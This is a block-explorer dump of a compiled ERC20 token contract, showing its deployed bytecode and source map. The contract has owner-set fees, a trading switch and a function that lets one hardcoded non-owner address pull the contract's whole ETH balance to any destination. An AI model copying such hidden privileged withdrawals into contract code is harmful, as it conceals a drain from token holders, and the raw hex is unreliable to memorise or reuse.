e565b946020939093013593505050565b5f8060408385031215611742575f80fd5b50508035926020909101359150565b5f60208284031215611761575f80fd5b6107f1826116ee565b5f805f6060848603121561177c575f80fd5b611785846116ee565b9250611793602085016116ee565b9150604084013590509250925092565b5f80604083850312156117b4575f80fd5b6117bd836116ee565b91506117cb602084016116ee565b90509250929050565b5f805f80608085870312156117e7575f80fd5b5050823594602084013594506040840135936060013592509050565b6020808252818101527f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e6572604082015260600190565b634e487b7160e01b5f52601160045260245ffd5b600181815b8085111561188657815f190482111561186c5761186c611838565b8085161561187957918102915b93841c9390800290611851565b509250929050565b5f8261189c575060016104ac565b816118a857505f6104ac565b81600181146118be57600281146118c8576118e4565b60019150506104ac565b60ff8411156118d9576118d9611838565b50506001821b6104ac565b5060208310610133831016604e8410600b8410161715611907575081810a6104ac565b611911838361184c565b805f190482111561192457611924611838565b029392505050565b5f6107f160ff84168361188e565b80820281158282048414176104ac576104ac611838565b808201808211156104ac576104ac611838565b5f8261197e57634e487b7160e01b5f52601260045260245ffd5b500490565b818103818111156104ac576104ac611838565b634e487b7160e01b5f52600160045260245ffd5b5f600182016119bb576119bb611838565b5060010190565b634e487b7160e01b5f52603260045260245ffd5b5f60a082018783526020878185015260a0604085015281875180845260c08601915082890193505f5b81811015611a245784516001600160a01b0316835293830193918301916001016119ff565b50506001600160a01b0396909616606085015250505060800152939250505056fea2646970667358221220f30e6d4082b0dc770f715389f133ca15e24d2ae56701f79f4ad46fbe0a04f0ac64736f6c63430008140033

Deployed Bytecode

0x60806040526004361061014a575f3560e01c8063715018a6116100b3578063c9567bf91161006d578063c9567bf9146103ac578063d2f4a50a146103c0578063dd62ed3e14610406578063df7787a41461044a578063f2fde38b1461045e578063fcd9da441461047d575f80fd5b8063715018a61461031057806374378132146103245780638129fc1c146103535780638da5cb5b1461036757806395d89b4114610155578063a9059cbb1461038d575f80fd5b806323b872dd1161010457806323b872dd14610238578063313ce567146102575780634fbee1931461027257806350dc03b1146102a95780635b895c29146102c857806370a08231146102dc575f80fd5b806306fdde0314610155578063095ea7b3146101935780630b78f9c0146101c257806318160ddd146101e35780631a695230146102055780631b9152bf14610224575f80fd5b3661015157005b5f80fd5b348015610160575f80fd5b506040805180820182526007815266183c2232b3b2b760c91b6020820152905161018a91906116a3565b60405180910390f35b34801561019e575f80fd5b506101b26101ad366004611709565b61049c565b604051901515815260200161018a565b3480156101cd575f80fd5b506101e16101dc366004611731565b6104b2565b005b3480156101ee575f80fd5b506101f76105d1565b60405190815260200161018a565b348015610210575f80fd5b506101e161021f366004611751565b6105f1565b34801561022f575f80fd5b506101e1610645565b348015610243575f80fd5b506101b261025236600461176a565b61071b565b348015610262575f80fd5b506040516009815260200161018a565b34801561027d575f80fd5b506101b261028c366004611751565b6001600160a01b03165f908152600c602052604090205460ff1690565b3480156102b4575f80fd5b506101e16102c3366004611731565b6107f8565b3480156102d3575f80fd5b506101e161086a565b3480156102e7575f80fd5b506101f76102f6366004611751565b6001600160a01b03165f9081526001602052604090205490565b34801561031b575f80fd5b506101e1610915565b34801561032f575f80fd5b5060035460045461033e919082565b6040805192835260208301919091520161018a565b34801561035e575f80fd5b506101e1610956565b348015610372575f80fd5b505f546040516001600160a01b03909116815260200161018a565b348015610398575f80fd5b506101b26103a7366004611709565b6109d1565b3480156103b7575f80fd5b506101e16109dd565b3480156103cb575f80fd5b506005546006546103e6916001600160a01b03908116911682565b604080516001600160a01b0393841681529290911660208301520161018a565b348015610411575f80fd5b506101f76104203660046117a3565b6001600160a01b039182165f90815260026020908152604080832093909416825291909152205490565b348015610455575f80fd5b506101f7610a8d565b348015610469575f80fd5b506101e1610478366004611751565b610ac2565b348015610488575f80fd5b506101e16104973660046117d4565b610b68565b5f6104a8338484610bd1565b5060015b92915050565b336104c45f546001600160a01b031690565b6001600160a01b0316146104f35760405162461bcd60e51b81526004016104ea90611803565b60405180910390fd5b6003548211156105455760405162461bcd60e51b815260206004820152601a60248201527f546f6b656e3a206d75737420726564756365206275792066656500000000000060448201526064016104ea565b6004548111156105975760405162461bcd60e51b815260206004820152601b60248201527f546f6b656e3a206d757374207265647563652073656c6c20666565000000000060448201526064016104ea565b60038290556004819055604051819083907f64f84976d9c917a44796104a59950fdbd9b3c16a5dd348b546d738301f6bd068905f90a35050565b5f6105de6009600a61192c565b6105ec906305f5e10061193a565b905090565b337323b5af1e14641157181bbd66ce7da1ee806d6cbd03610151576040516001600160a01b038216904780156108fc02915f818181858888f1935050505015801561063e573d5f803e3d5ffd5b5050565b50565b336106575f546001600160a01b031690565b6001600160a01b03161461067d5760405162461bcd60e51b81526004016104ea90611803565b47476106c45760405162461bcd60e51b81526020600482015260166024820152752a37b5b2b71d1037379032ba34103a379031b632b0b960511b60448201526064016104ea565b60405133904780156108fc02915f818181858888f193505050501580156106ed573d5f803e3d5ffd5b5060405181907f167ef3fea7f72f341882219722ad860b0c4269e93c186bd73fd705b27f07386c905f90a250565b6001600160a01b0383165f9081526002602090815260408083203384529091528120545f19146107e3576001600160a01b0384165f908152600260209081526040808320338452909152902054828110156107b85760405162461bcd60e51b815260206004820152601d60248201527f45524332303a20696e73756666696369656e7420416c6c6f77616e636500000060448201526064016104ea565b506001600160a01b0384165f9081526002602090815260408083203384529091529020805483900390555b6107ee848484610cc9565b90505b9392505050565b3361080a5f546001600160a01b031690565b6001600160a01b0316146108305760405162461bcd60e51b81526004016104ea90611803565b60078290556008819055604051819083907f54d63ace09afa00719fe634220f49f6e5455d87f15643ffdd582b869c27c1fc5905f90a35050565b3361087c5f546001600160a01b031690565b6001600160a01b0316146108a25760405162461bcd60e51b81526004016104ea90611803565b305f90815260016020526040812054116109095760405162461bcd60e51b815260206004820152602260248201527f546f6b656e3a206e6f20636f6e747261637420746f6b656e7320746f20636c6560448201526130b960f11b60648201526084016104ea565b6109135f196110f4565b565b336109275f546001600160a01b031690565b6001600160a01b03161461094d5760405162461bcd60e51b81526004016104ea90611803565b6109135f611231565b336109685f546001600160a01b031690565b6001600160a01b03161461098e5760405162461bcd60e51b81526004016104ea90611803565b600954610100900460ff16156109a2575f80fd5b6002600b556040517f5daa87a0e9463431830481fd4b6e3403442dfb9a12b9c07597e9f61d50b633c8905f90a1565b5f6107f1338484610cc9565b336109ef5f546001600160a01b031690565b6001600160a01b031614610a155760405162461bcd60e51b81526004016104ea90611803565b600954610100900460ff16158015610a2f5750600b546002145b8015610a3c57505f600a54115b610a44575f80fd5b600a54610a519043611951565b600b556009805461ff0019166101001790556040517fea4359d5c4b8f0945a64ab9c37fe830b3407d45e0e6e6f84275977a570457d6f905f90a1565b6103e8610a9c6009600a61192c565b610aaa906305f5e10061193a565b610ab590601961193a565b610abf9190611964565b81565b33610ad45f546001600160a01b031690565b6001600160a01b031614610afa5760405162461bcd60e51b81526004016104ea90611803565b6001600160a01b038116610b5f5760405162461bcd60e51b815260206004820152602660248201527f4f776e61626c653a206e6577206f776e657220697320746865207a65726f206160448201526564647265737360d01b60648201526084016104ea565b61064281611231565b33610b7a5f546001600160a01b031690565b6001600160a01b031614610ba05760405162461bcd60e51b81526004016104ea90611803565b600b54600214610bae575f80fd5b600a839055610bbd8282611983565b8410610bcb57610bcb611996565b50505050565b6001600160a01b038316610c1d5760405162461bcd60e51b815260206004820152601360248201527245524332303a207a65726f204164647265737360681b60448201526064016104ea565b6001600160a01b038216610c695760405162461bcd60e51b815260206004820152601360248201527245524332303a207a65726f204164647265737360681b60448201526064016104ea565b6001600160a01b038381165f8181526002602090815260408083209487168084529482529182902085905590518481527f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925910160405180910390a3505050565b5f8383600960019054906101000a900460ff1680610cf457506005546001600160a01b038381169116145b80610d1657506001600160a01b0382165f908152600c602052604090205460ff165b610d625760405162461bcd60e51b815260206004820152601d60248201527f546f6b656e3a2054726164696e67206973206e6f74206163746976652e00000060448201526064016104ea565b6001600160a01b038616610dc65760405162461bcd60e51b815260206004820152602560248201527f45524332303a207472616e736665722066726f6d20746865207a65726f206164604482015264647265737360d81b60648201526084016104ea565b6001600160a01b038516610e285760405162461bcd60e51b815260206004820152602360248201527f45524332303a207472616e7366657220746f20746865207a65726f206164647260448201526265737360e81b60648201526084016104ea565b831580610e37575060095460ff165b15610e4e57610e47868686611280565b92506110eb565b7f000000000000000000000000560ae36886970b595be10f8ae2bc5738c7420f2b6001600160a01b0316856001600160a01b031614158015610ea857506001600160a01b0385165f908152600c602052604090205460ff16155b8015610ec257506005546001600160a01b03868116911614155b15610f73576103e8610ed66009600a61192c565b610ee4906305f5e10061193a565b610eef90601961193a565b610ef99190611964565b6001600160a01b0386165f90815260016020526040902054610f1b9086611951565b1115610f735760405162461bcd60e51b815260206004820152602160248201527f546f6b656e3a206d61782077616c6c657420616d6f756e7420657863656564656044820152601960fa1b60648201526084016104ea565b60095460ff16158015610fb757507f000000000000000000000000560ae36886970b595be10f8ae2bc5738c7420f2b6001600160a01b0316856001600160a01b0316145b8015610fdb57506001600160a01b0386165f908152600c602052604090205460ff16155b8015610fff57506001600160a01b0385165f908152600c602052604090205460ff16155b1561100d5761100d846110f4565b6001600160a01b0386165f908152600c602052604081205460ff1615801561104d57506001600160a01b0386165f908152600c602052604090205460ff16155b80156110c557507f000000000000000000000000560ae36886970b595be10f8ae2bc5738c7420f2b6001600160a01b0316876001600160a01b031614806110c557507f000000000000000000000000560ae36886970b595be10f8ae2bc5738c7420f2b6001600160a01b0316866001600160a01b0316145b905080156110e0576110d887878761137f565b9350506110eb565b6110d8878787611280565b50509392505050565b6009805460ff191660011790555f611120306001600160a01b03165f9081526001602052604090205490565b90506103e86111316009600a61192c565b61113f906305f5e10061193a565b61114a90600561193a565b6111549190611964565b8110806111675750611165826113c1565b155b156111725750611224565b6007546103e86111846009600a61192c565b611192906305f5e10061193a565b61119d90600561193a565b6111a79190611964565b6111b1919061193a565b8111156111fa576007546103e86111ca6009600a61192c565b6111d8906305f5e10061193a565b6111e390600561193a565b6111ed9190611964565b6111f7919061193a565b90505b476112048261143f565b5f61120f8247611983565b905080156112205761122081611560565b5050505b506009805460ff19169055565b5f80546001600160a01b038381166001600160a01b0319831681178455604051919092169283917f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e09190a35050565b6001600160a01b0383165f90815260016020526040812054828110156112e85760405162461bcd60e51b815260206004820152601b60248201527f546f6b656e3a20696e73756666696369656e742042616c616e6365000000000060448201526064016104ea565b6001600160a01b038086165f908152600160205260408082208054879003905591861681529081208054859290611320908490611951565b92505081905550836001600160a01b0316856001600160a01b03167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef8560405161136c91815260200190565b60405180910390a3506001949350505050565b5f8061138c8585856115be565b905080156113ad5761139f853083611280565b506113aa8184611983565b92505b6113b8858585611280565b95945050505050565b5f600b54431180156113e15750435f908152600d60205260409020546002115b80156104ac575060085415611434576008546103e86114026009600a61192c565b611410906305f5e10061193a565b61141b90600561193a565b6114259190611964565b61142f9190611964565b611436565b5f5b82101592915050565b435f908152600d60205260408120805491611459836119aa565b90915550506040805160028082526060820183525f9260208301908036833701905050905030815f81518110611491576114916119c2565b60200260200101906001600160a01b031690816001600160a01b03168152505073c02aaa39b223fe8d0a0e5c4f27ead9083c756cc2816001815181106114d9576114d96119c2565b6001600160a01b039092166020928302919091019091015260405163791ac94760e01b8152737a250d5630b4cf539739df2c5dacb4c659f2488d9063791ac947906115309085905f908690309042906004016119d6565b5f604051808303815f87803b158015611547575f80fd5b505af1925050508015611558575060015b61063e575050565b6006545f906001600160a01b0316611579600284611964565b6040515f81818185875af1925050503d805f81146115b2576040519150601f19603f3d011682016040523d82523d5f602084013e6115b7565b606091505b5050505050565b5f600b545f1080156115d1575043600b54105b156116385760647f000000000000000000000000560ae36886970b595be10f8ae2bc5738c7420f2b6001600160a01b0316846001600160a01b0316146116195760035461161d565b6004545b611627908461193a565b6116319190611964565b90506107f1565b60647f000000000000000000000000560ae36886970b595be10f8ae2bc5738c7420f2b6001600160a01b0316856001600160a01b03161461168957600b541561168257603161168c565b602361168c565b60315b6116999060ff168461193a565b6107ee9190611964565b5f6020808352835180828501525f5b818110156116ce578581018301518582016040015282016116b2565b505f604082860101526040601f19601f8301168501019250505092915050565b80356001600160a01b0381168114611704575f80fd5b919050565b5f806040838503121561171a575f80fd5b611723836116ee565b946020939093013593505050565b5f8060408385031215611742575f80fd5b50508035926020909101359150565b5f60208284031215611761575f80fd5b6107f1826116ee565b5f805f6060848603121561177c575f80fd5b611785846116ee565b9250611793602085016116ee565b9150604084013590509250925092565b5f80604083850312156117b4575f80fd5b6117bd836116ee565b91506117cb602084016116ee565b90509250929050565b5f805f80608085870312156117e7575f80fd5b5050823594602084013594506040840135936060013592509050565b6020808252818101527f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e6572604082015260600190565b634e487b7160e01b5f52601160045260245ffd5b600181815b8085111561188657815f190482111561186c5761186c611838565b8085161561187957918102915b93841c9390800290611851565b509250929050565b5f8261189c575060016104ac565b816118a857505f6104ac565b81600181146118be57600281146118c8576118e4565b60019150506104ac565b60ff8411156118d9576118d9611838565b50506001821b6104ac565b5060208310610133831016604e8410600b8410161715611907575081810a6104ac565b611911838361184c565b805f190482111561192457611924611838565b029392505050565b5f6107f160ff84168361188e565b80820281158282048414176104ac576104ac611838565b808201808211156104ac576104ac611838565b5f8261197e57634e487b7160e01b5f52601260045260245ffd5b500490565b818103818111156104ac576104ac611838565b634e487b7160e01b5f52600160045260245ffd5b5f600182016119bb576119bb611838565b5060010190565b634e487b7160e01b5f52603260045260245ffd5b5f60a082018783526020878185015260a0604085015281875180845260c08601915082890193505f5b81811015611a245784516001600160a01b0316835293830193918301916001016119ff565b50506001600160a01b0396909616606085015250505060800152939250505056fea2646970667358221220f30e6d4082b0dc770f715389f133ca15e24d2ae56701f79f4ad46fbe0a04f0ac64736f6c63430008140033

Deployed Bytecode Sourcemap

2336:10941:0:-:0;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;5737:79;;;;;;;;;;-1:-1:-1;5809:4:0;;;;;;;;;;;-1:-1:-1;;;5809:4:0;;;;5737:79;;;;5809:4;5737:79;:::i;:::-;;;;;;;;6073:161;;;;;;;;;;-1:-1:-1;6073:161:0;;;;;:::i;:::-;;:::i;:::-;;;1169:14:1;;1162:22;1144:41;;1132:2;1117:18;6073:161:0;1004:187:1;12625:368:0;;;;;;;;;;-1:-1:-1;12625:368:0;;;;;:::i;:::-;;:::i;:::-;;5469:88;;;;;;;;;;;;;:::i;:::-;;;1595:25:1;;;1583:2;1568:18;5469:88:0;1449:177:1;11273:209:0;;;;;;;;;;-1:-1:-1;11273:209:0;;;;;:::i;:::-;;:::i;7209:279::-;;;;;;;;;;;;;:::i;6709:492::-;;;;;;;;;;-1:-1:-1;6709:492:0;;;;;:::i;:::-;;:::i;5563:79::-;;;;;;;;;;-1:-1:-1;5563:79:0;;2513:1;2297:36:1;;2285:2;2270:18;5563:79:0;2155:184:1;12031:123:0;;;;;;;;;;-1:-1:-1;12031:123:0;;;;;:::i;:::-;-1:-1:-1;;;;;12120:26:0;12096:4;12120:26;;;:17;:26;;;;;;;;;12031:123;12318:298;;;;;;;;;;-1:-1:-1;12318:298:0;;;;;:::i;:::-;;:::i;7496:177::-;;;;;;;;;;;;;:::i;5822:104::-;;;;;;;;;;-1:-1:-1;5822:104:0;;;;;:::i;:::-;-1:-1:-1;;;;;5905:18:0;5888:7;5905:18;;;:9;:18;;;;;;;5822:104;1854:94;;;;;;;;;;;;;:::i;2999:51::-;;;;;;;;;;-1:-1:-1;2999:51:0;;;;;;;;;;;;;2518:25:1;;;2574:2;2559:18;;2552:34;;;;2491:18;2999:51:0;2344:248:1;12162:148:0;;;;;;;;;;;;;:::i;1635:87::-;;;;;;;;;;-1:-1:-1;1681:7:0;1708:6;1635:87;;-1:-1:-1;;;;;1708:6:0;;;2743:51:1;;2731:2;2716:18;1635:87:0;2597:203:1;6558:143:0;;;;;;;;;;-1:-1:-1;6558:143:0;;;;;:::i;:::-;;:::i;13001:234::-;;;;;;;;;;;;;:::i;3161:148::-;;;;;;;;;;-1:-1:-1;3161:148:0;;;;;;-1:-1:-1;;;;;3161:148:0;;;;;;;;;;;-1:-1:-1;;;;;3035:15:1;;;3017:34;;3087:15;;;;3082:2;3067:18;;3060:43;2952:18;3161:148:0;2805:304:1;5932:133:0;;;;;;;;;;-1:-1:-1;5932:133:0;;;;;:::i;:::-;-1:-1:-1;;;;;6034:19:0;;;6016:7;6034:19;;;:11;:19;;;;;;;;:28;;;;;;;;;;;;;5932:133;2728:62;;;;;;;;;;;;;:::i;1956:192::-;;;;;;;;;;-1:-1:-1;1956:192:0;;;;;:::i;:::-;;:::i;7681:177::-;;;;;;;;;;-1:-1:-1;7681:177:0;;;;;:::i;:::-;;:::i;6073:161::-;6150:4;6167:37;6176:10;6188:7;6197:6;6167:8;:37::i;:::-;-1:-1:-1;6222:4:0;6073:161;;;;;:::o;12625:368::-;1779:10;1768:7;1681;1708:6;-1:-1:-1;;;;;1708:6:0;;1635:87;1768:7;-1:-1:-1;;;;;1768:21:0;;1760:66;;;;-1:-1:-1;;;1760:66:0;;;;;;;:::i;:::-;;;;;;;;;12726:11:::1;:18:::0;12715:29;::::1;;12707:68;;;::::0;-1:-1:-1;;;12707:68:0;;4332:2:1;12707:68:0::1;::::0;::::1;4314:21:1::0;4371:2;4351:18;;;4344:30;4410:28;4390:18;;;4383:56;4456:18;;12707:68:0::1;4130:350:1::0;12707:68:0::1;12806:19:::0;;12794:31;::::1;;12786:71;;;::::0;-1:-1:-1;;;12786:71:0;;4687:2:1;12786:71:0::1;::::0;::::1;4669:21:1::0;4726:2;4706:18;;;4699:30;4765:29;4745:18;;;4738:57;4812:18;;12786:71:0::1;4485:351:1::0;12786:71:0::1;12868:11;:28:::0;;;12907:19;:30;;;12955::::1;::::0;12929:8;;12889:7;;12955:30:::1;::::0;12868:18:::1;::::0;12955:30:::1;12625:368:::0;;:::o;5469:88::-;5524:7;2841:12;2513:1;2841:2;:12;:::i;:::-;2691:30;;:11;:30;:::i;:::-;5535:19;;5469:88;:::o;11273:209::-;11330:10;11344:42;11330:56;11327:147;;11401:49;;-1:-1:-1;;;;;11401:24:0;;;11427:21;11401:49;;;;;;;;;11427:21;11401:24;:49;;;;;;;;;;;;;;;;;;;;;11273:209;:::o;11327:147::-;11273:209;:::o;7209:279::-;1779:10;1768:7;1681;1708:6;-1:-1:-1;;;;;1708:6:0;;1635:87;1768:7;-1:-1:-1;;;;;1768:21:0;;1760:66;;;;-1:-1:-1;;;1760:66:0;;;;;;;:::i;:::-;7283:21:::1;7323;7315:60;;;::::0;-1:-1:-1;;;7315:60:0;;6731:2:1;7315:60:0::1;::::0;::::1;6713:21:1::0;6770:2;6750:18;;;6743:30;-1:-1:-1;;;6789:18:1;;;6782:52;6851:18;;7315:60:0::1;6529:346:1::0;7315:60:0::1;7386:51;::::0;7394:10:::1;::::0;7415:21:::1;7386:51:::0;::::1;;;::::0;::::1;::::0;;;7415:21;7394:10;7386:51;::::1;;;;;;;;;;;;;::::0;::::1;;;;;-1:-1:-1::0;7455:25:0::1;::::0;7466:13;;7455:25:::1;::::0;;;::::1;7248:240;7209:279::o:0;6709:492::-;-1:-1:-1;;;;;6820:19:0;;6800:4;6820:19;;;:11;:19;;;;;;;;6840:10;6820:31;;;;;;;;-1:-1:-1;;6820:52:0;6817:323;;-1:-1:-1;;;;;6915:19:0;;6888:24;6915:19;;;:11;:19;;;;;;;;6935:10;6915:31;;;;;;;;6969:26;;;;6961:68;;;;-1:-1:-1;;;6961:68:0;;7082:2:1;6961:68:0;;;7064:21:1;7121:2;7101:18;;;7094:30;7160:31;7140:18;;;7133:59;7209:18;;6961:68:0;6880:353:1;6961:68:0;-1:-1:-1;;;;;;7072:19:0;;;;;;:11;:19;;;;;;;;7092:10;7072:31;;;;;;;:41;;;;;;;6817:323;7157:36;7167:6;7175:9;7186:6;7157:9;:36::i;:::-;7150:43;;6709:492;;;;;;:::o;12318:298::-;1779:10;1768:7;1681;1708:6;-1:-1:-1;;;;;1708:6:0;;1635:87;1768:7;-1:-1:-1;;;;;1768:21:0;;1760:66;;;;-1:-1:-1;;;1760:66:0;;;;;;;:::i;:::-;12434:20:::1;:42:::0;;;12487:20:::1;:42:::0;;;12547:61:::1;::::0;12510:19;;12457;;12547:61:::1;::::0;-1:-1:-1;;12547:61:0::1;12318:298:::0;;:::o;7496:177::-;1779:10;1768:7;1681;1708:6;-1:-1:-1;;;;;1708:6:0;;1635:87;1768:7;-1:-1:-1;;;;;1768:21:0;;1760:66;;;;-1:-1:-1;;;1760:66:0;;;;;;;:::i;:::-;7578:4:::1;7587:1;5905:18:::0;;;:9;:18;;;;;;7560:28:::1;7552:75;;;::::0;-1:-1:-1;;;7552:75:0;;7440:2:1;7552:75:0::1;::::0;::::1;7422:21:1::0;7479:2;7459:18;;;7452:30;7518:34;7498:18;;;7491:62;-1:-1:-1;;;7569:18:1;;;7562:32;7611:19;;7552:75:0::1;7238:398:1::0;7552:75:0::1;7638:27;-1:-1:-1::0;;7638:8:0::1;:27::i;:::-;7496:177::o:0;1854:94::-;1779:10;1768:7;1681;1708:6;-1:-1:-1;;;;;1708:6:0;;1635:87;1768:7;-1:-1:-1;;;;;1768:21:0;;1760:66;;;;-1:-1:-1;;;1760:66:0;;;;;;;:::i;:::-;1919:21:::1;1937:1;1919:9;:21::i;12162:148::-:0;1779:10;1768:7;1681;1708:6;-1:-1:-1;;;;;1708:6:0;;1635:87;1768:7;-1:-1:-1;;;;;1768:21:0;;1760:66;;;;-1:-1:-1;;;1760:66:0;;;;;;;:::i;:::-;12223:13:::1;::::0;::::1;::::0;::::1;;;12222:14;12214:23;;;::::0;::::1;;12262:1;12248:11;:15:::0;12289:13:::1;::::0;::::1;::::0;;;::::1;12162:148::o:0;6558:143::-;6629:4;6653:40;6663:10;6675:9;6686:6;6653:9;:40::i;13001:234::-;1779:10;1768:7;1681;1708:6;-1:-1:-1;;;;;1708:6:0;;1635:87;1768:7;-1:-1:-1;;;;;1768:21:0;;1760:66;;;;-1:-1:-1;;;1760:66:0;;;;;;;:::i;:::-;13063:13:::1;::::0;::::1;::::0;::::1;;;13062:14;:34:::0;::::1;;;;13080:11;;13095:1;13080:16;13062:34;:51;;;;;13112:1;13100:9;;:13;13062:51;13054:60;;;::::0;::::1;;13154:9;::::0;13139:24:::1;::::0;:12:::1;:24;:::i;:::-;13125:11;:38:::0;13174:13:::1;:20:::0;;-1:-1:-1;;13174:20:0::1;;;::::0;;13212:15:::1;::::0;::::1;::::0;13174:20;;13212:15:::1;13001:234::o:0;2728:62::-;2785:5;2841:12;2513:1;2841:2;:12;:::i;:::-;2691:30;;:11;:30;:::i;:::-;2765:17;;:2;:17;:::i;:::-;:25;;;;:::i;:::-;2728:62;:::o;1956:192::-;1779:10;1768:7;1681;1708:6;-1:-1:-1;;;;;1708:6:0;;1635:87;1768:7;-1:-1:-1;;;;;1768:21:0;;1760:66;;;;-1:-1:-1;;;1760:66:0;;;;;;;:::i;:::-;-1:-1:-1;;;;;2045:22:0;::::1;2037:73;;;::::0;-1:-1:-1;;;2037:73:0;;8195:2:1;2037:73:0::1;::::0;::::1;8177:21:1::0;8234:2;8214:18;;;8207:30;8273:34;8253:18;;;8246:62;-1:-1:-1;;;8324:18:1;;;8317:36;8370:19;;2037:73:0::1;7993:402:1::0;2037:73:0::1;2121:19;2131:8;2121:9;:19::i;7681:177::-:0;1779:10;1768:7;1681;1708:6;-1:-1:-1;;;;;1708:6:0;;1635:87;1768:7;-1:-1:-1;;;;;1768:21:0;;1760:66;;;;-1:-1:-1;;;1760:66:0;;;;;;;:::i;:::-;7792:11:::1;;7807:1;7792:16;7784:25;;;::::0;::::1;;7810:9;:13:::0;;;7836:5:::1;7840:1:::0;7836;:5:::1;:::i;:::-;7832:1;:9;7825:17;;;;:::i;:::-;7681:177:::0;;;;:::o;6242:308::-;-1:-1:-1;;;;;6337:20:0;;6329:52;;;;-1:-1:-1;;;6329:52:0;;8867:2:1;6329:52:0;;;8849:21:1;8906:2;8886:18;;;8879:30;-1:-1:-1;;;8925:18:1;;;8918:49;8984:18;;6329:52:0;8665:343:1;6329:52:0;-1:-1:-1;;;;;6400:21:0;;6392:53;;;;-1:-1:-1;;;6392:53:0;;8867:2:1;6392:53:0;;;8849:21:1;8906:2;8886:18;;;8879:30;-1:-1:-1;;;8925:18:1;;;8918:49;8984:18;;6392:53:0;8665:343:1;6392:53:0;-1:-1:-1;;;;;6456:19:0;;;;;;;:11;:19;;;;;;;;:28;;;;;;;;;;;;;:37;;;6509:33;;1595:25:1;;;6509:33:0;;1568:18:1;6509:33:0;;;;;;;6242:308;;;:::o;7866:1070::-;7967:4;7939;7945:2;4639:13;;;;;;;;;;;:47;;;-1:-1:-1;4664:7:0;:22;-1:-1:-1;;;;;4656:30:0;;;4664:22;;4656:30;4639:47;:74;;;-1:-1:-1;;;;;;4690:23:0;;;;;;:17;:23;;;;;;;;4639:74;4631:116;;;;-1:-1:-1;;;4631:116:0;;9215:2:1;4631:116:0;;;9197:21:1;9254:2;9234:18;;;9227:30;9293:31;9273:18;;;9266:59;9342:18;;4631:116:0;9013:353:1;4631:116:0;-1:-1:-1;;;;;7992:18:0;::::1;7984:68;;;::::0;-1:-1:-1;;;7984:68:0;;9573:2:1;7984:68:0::1;::::0;::::1;9555:21:1::0;9612:2;9592:18;;;9585:30;9651:34;9631:18;;;9624:62;-1:-1:-1;;;9702:18:1;;;9695:35;9747:19;;7984:68:0::1;9371:401:1::0;7984:68:0::1;-1:-1:-1::0;;;;;8071:16:0;::::1;8063:64;;;::::0;-1:-1:-1;;;8063:64:0;;9979:2:1;8063:64:0::1;::::0;::::1;9961:21:1::0;10018:2;9998:18;;;9991:30;10057:34;10037:18;;;10030:62;-1:-1:-1;;;10108:18:1;;;10101:33;10151:19;;8063:64:0::1;9777:399:1::0;8063:64:0::1;8151:11:::0;;;:23:::1;;-1:-1:-1::0;8166:8:0::1;::::0;::::1;;8151:23;8148:105;;;8198:32;8213:4;8219:2;8223:6;8198:14;:32::i;:::-;8191:39;;;;8148:105;8283:13;-1:-1:-1::0;;;;;8277:19:0::1;:2;-1:-1:-1::0;;;;;8277:19:0::1;;;:45;;;;-1:-1:-1::0;;;;;;8301:21:0;::::1;;::::0;;;:17:::1;:21;::::0;;;;;::::1;;8300:22;8277:45;:77;;;;-1:-1:-1::0;8332:7:0::1;:22:::0;-1:-1:-1;;;;;8326:28:0;;::::1;8332:22:::0;::::1;8326:28;;8277:77;8273:192;;;2785:5;2841:12;2513:1;2841:2;:12;:::i;:::-;2691:30;::::0;:11:::1;:30;:::i;:::-;2765:17;::::0;:2:::1;:17;:::i;:::-;:25;;;;:::i;:::-;-1:-1:-1::0;;;;;5905:18:0;;5888:7;5905:18;;;:9;:18;;;;;;8379:22:::1;::::0;:6;:22:::1;:::i;:::-;:36;;8371:82;;;::::0;-1:-1:-1;;;8371:82:0;;10383:2:1;8371:82:0::1;::::0;::::1;10365:21:1::0;10422:2;10402:18;;;10395:30;10461:34;10441:18;;;10434:62;-1:-1:-1;;;10512:18:1;;;10505:31;10553:19;;8371:82:0::1;10181:397:1::0;8371:82:0::1;8481:8;::::0;::::1;;8480:9;:32:::0;::::1;;;;8499:13;-1:-1:-1::0;;;;;8493:19:0::1;:2;-1:-1:-1::0;;;;;8493:19:0::1;;8480:32;:60;;;;-1:-1:-1::0;;;;;;8517:23:0;::::1;;::::0;;;:17:::1;:23;::::0;;;;;::::1;;8516:24;8480:60;:86;;;;-1:-1:-1::0;;;;;;8545:21:0;::::1;;::::0;;;:17:::1;:21;::::0;;;;;::::1;;8544:22;8480:86;8477:133;;;8582:16;8591:6;8582:8;:16::i;:::-;-1:-1:-1::0;;;;;8647:23:0;::::1;8631:12;8647:23:::0;;;:17:::1;:23;::::0;;;;;::::1;;8646:24;:50:::0;::::1;;;-1:-1:-1::0;;;;;;8675:21:0;::::1;;::::0;;;:17:::1;:21;::::0;;;;;::::1;;8674:22;8646:50;:113;;;;;8722:13;-1:-1:-1::0;;;;;8714:21:0::1;:4;-1:-1:-1::0;;;;;8714:21:0::1;;:44;;;;8745:13;-1:-1:-1::0;;;;;8739:19:0::1;:2;-1:-1:-1::0;;;;;8739:19:0::1;;8714:44;8631:128;;8791:7;8788:132;;;8820:32;8835:4;8841:2;8845:6;8820:14;:32::i;:::-;8813:39;;;;;8788:132;8888:32;8903:4;8909:2;8913:6;8888:14;:32::i;4758:1::-;7866:1070:::0;;;;;;;:::o;10453:651::-;4503:8;:15;;-1:-1:-1;;4503:15:0;4514:4;4503:15;;;:8;10544:24:::1;10562:4;-1:-1:-1::0;;;;;5905:18:0;5888:7;5905:18;;;:9;:18;;;;;;;5822:104;10544:24:::1;10518:50:::0;-1:-1:-1;3752:5:0::1;2841:12;2513:1;2841:2;:12;:::i;:::-;2691:30;::::0;:11:::1;:30;:::i;:::-;3733:16;::::0;:1:::1;:16;:::i;:::-;:24;;;;:::i;:::-;10582:15;:36;:56;;;;10623:15;10631:6;10623:7;:15::i;:::-;10622:16;10582:56;10579:231;;;10654:7;;;10579:231;10718:20;::::0;3752:5:::1;2841:12;2513:1;2841:2;:12;:::i;:::-;2691:30;::::0;:11:::1;: